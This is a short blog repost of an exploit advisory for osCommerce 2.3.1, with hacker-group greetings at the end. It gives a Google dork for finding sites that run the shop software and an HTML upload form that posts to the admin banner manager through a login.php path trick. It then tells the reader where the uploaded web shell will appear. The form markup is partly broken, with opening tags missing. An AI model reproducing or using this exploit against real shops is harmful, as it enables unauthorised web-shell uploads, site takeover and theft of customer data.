osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability

[+] Post Title :

osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability

[+] Date : Selasa, 17 Mei 2011
[+] Author : rozi inside
[+] Link : https://datalunars.blogspot.com/2011/05/oscommerce-231-bannermanagerphp-remote.html
[+] Type : Exploit Attack

# Exploit Title: [OSC 2.3.1: Remote File Upload Vulnerability : Banner Manager]

# Google Dork: [powered by oscommerce] (we will automatically add these to the GHDB)

# Date: [13-05-2011]

# Author: [Number 7]

# Software Link: [http://www.oscommerce.com/ext/oscommerce-2.3.1.zip]

# Version: [2.3.1]

# Tested on: [Linux-apache-win03-mac Os .... ]

# CVE : [if exists]

_______________________________________________________________________________________

"new_banner" action="http://site/path/admin/banner_manager.php/login.php?action=insert" method="post" enctype="multipart/form-data">

"file" name="banners_image">

"submit" value=" Save " type="submit">

you will find your shell in

http://site/path/images/yourshell.php

_______________________________________________________________________________________

Greetz: Ares-xGeek-allen-s man-SWAT-SPAM-TN // Tn-Hackers

Site: Top-sec.com/vb // arhack.net/vb